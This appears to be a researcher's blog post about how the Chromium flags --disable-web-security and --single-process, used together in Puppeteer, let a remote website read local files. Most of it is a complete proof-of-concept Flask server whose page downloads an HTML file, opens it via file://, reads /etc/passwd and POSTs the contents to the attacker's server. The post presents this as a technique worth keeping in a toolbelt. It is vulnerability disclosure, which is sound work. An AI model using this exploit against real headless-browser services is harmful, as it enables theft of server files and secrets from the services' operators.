So while I was doing some internal source code reviewing, I came across this snippet of code:
browser = await puppeteer.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu',
'--no-first-run',
'--single-process',
'--disable-extensions',
'--disable-plugins',
'--disable-images',
'--disable-background-timer-throttling',
'--disable-backgrounding-occluded-windows',
'--disable-renderer-backgrounding',
'--disable-features=TranslateUI',
'--disable-ipc-flooding-protection',
'--disable-web-security',
'--disable-default-apps',
'--disable-sync',
'--disable-translate',
// ...
],
executablePath: process.env.PUPPETEER_EXECUTABLE_PATH || undefined
});
// ...
const pdf = await page.pdf({
format: 'A4',
printBackground: true,
margin: {
top: '15mm',
right: '10mm',
bottom: '15mm',
left: '10mm'
},
preferCSSPageSize: false
});
Okay, let me guess what was prompt: “Gimme a code that runs a browser blazingly fast”.
Anyway, this excellent vibe coder give me a chance to explore an interesting quirk of using these two flags (--disable-web-security
& --single-process
).
–single-process ⊗ | Runs the renderer and plugins in the same process as the browser ↪ |
---|---|
–disable-web-security ⊗ | Don’t enforce the same-origin policy; meant for website testing only. This switch has no effect unless –user-data-dir (as defined by the content embedder) is also present. ↪ |
At first sight, these two flags don’t seem to be related —i.e affect each other, but interestingly they enable any website, to access local files, how you say, I don’t know exactly why, but open
-ing a local file using —-disable-web-security
only redirects to about:blank#blocked
, but adding the --single-process
flag, it successfully opens the file, thus enabling the access to local files by remote websites.
Demo
from flask import Flask, request, redirect
app = Flask(__name__)
SERVER_HOST = "http://127.0.0.1:5500"
LEAKED_FILE_NAME = "/etc/passwd"
DOWNLOADED_FILE_NAME = "file:///Users/victim/Downloads/index.html"
leaked_file_content = ""
@app.route('/content', methods=["GET"])
def content():
global leaked_file_content
if leaked_file_content != "":
returned = leaked_file_content
leaked_file_content = ""
return returned, 200
return leaked_file_content, 200
@app.route('/', methods=["POST"])
def upload():
global leaked_file_content
leaked_file_content = request.data
return "done.", 200
@app.route('/', methods=["GET"])
def home():
return f"""
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PoC</title>
<style>
body {{
font-family: monospace;
margin: 20px;
background-color: #f5f5f5;
}}
.code-container {{
background: white;
border: 1px solid #ddd;
border-radius: 4px;
padding: 15px;
overflow-x: auto;
white-space: pre;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
}}
</style>
</head>
<body>
<h1>Just an innocent website over here ☺️ </h1>
<script defer>
setTimeout(() => {{
const blob = new Blob([`
<script>
fetch("file://{LEAKED_FILE_NAME}").then(r => r.text()).then(r => {{
fetch("{SERVER_HOST}", {{
method: "POST",
body: r
}}).then(_ => window.close());
}})
</s`, 'cript>'], {{
type: "text/html",
}});
const link = document.createElement('a');
link.hidden = true;
link.href = URL.createObjectURL(blob);
link.download = 'index.html';
document.body.appendChild(link);
link.click();
}}, 1000);
setTimeout(() => {{
window.open("{DOWNLOADED_FILE_NAME}", "_blank", "");
}}, 2000);
let interval = setInterval(() => {{
fetch("/content").then(r => r.text()).then(r => {{
if (r !== "") {{
const heading = document.createElement('h2');
heading.innerHTML = "This is the <code>{LEAKED_FILE_NAME}</code> content isn't it 😜";
document.body.appendChild(heading);
const file = document.createElement('div');
file.className = 'code-container';
file.textContent = r;
document.body.appendChild(file)
clearInterval(interval);
}}
}})
}}, 1000);
</script>
</body>
</html>
"""
if __name__ == '__main__':
app.run(port=5500)
The server’s code is pretty straight forward, since the http://
can’t load another file (in contrast to opening it), I open another file since a file://
can access another file://
.
Interestingly the usage of this pair of flags is “common” ,And yeah this was labeled a “Won’t Fix”, by the chromium security team and considered a “an interesting architectural accident” in the wording of a chromium team member, so keep this technique in you’re toolbelt maybe you’ll need it somewhere 🤷♂️.
Weird enough?
Like it wasn’t weird enough, the exploit doesn’t work in puppeteer unless you open a new tab, huh?!, yes take a look:
Without new tab
With new tab
Can this be bypassed? I tried so much ways but failed to do so, I let this to the security community.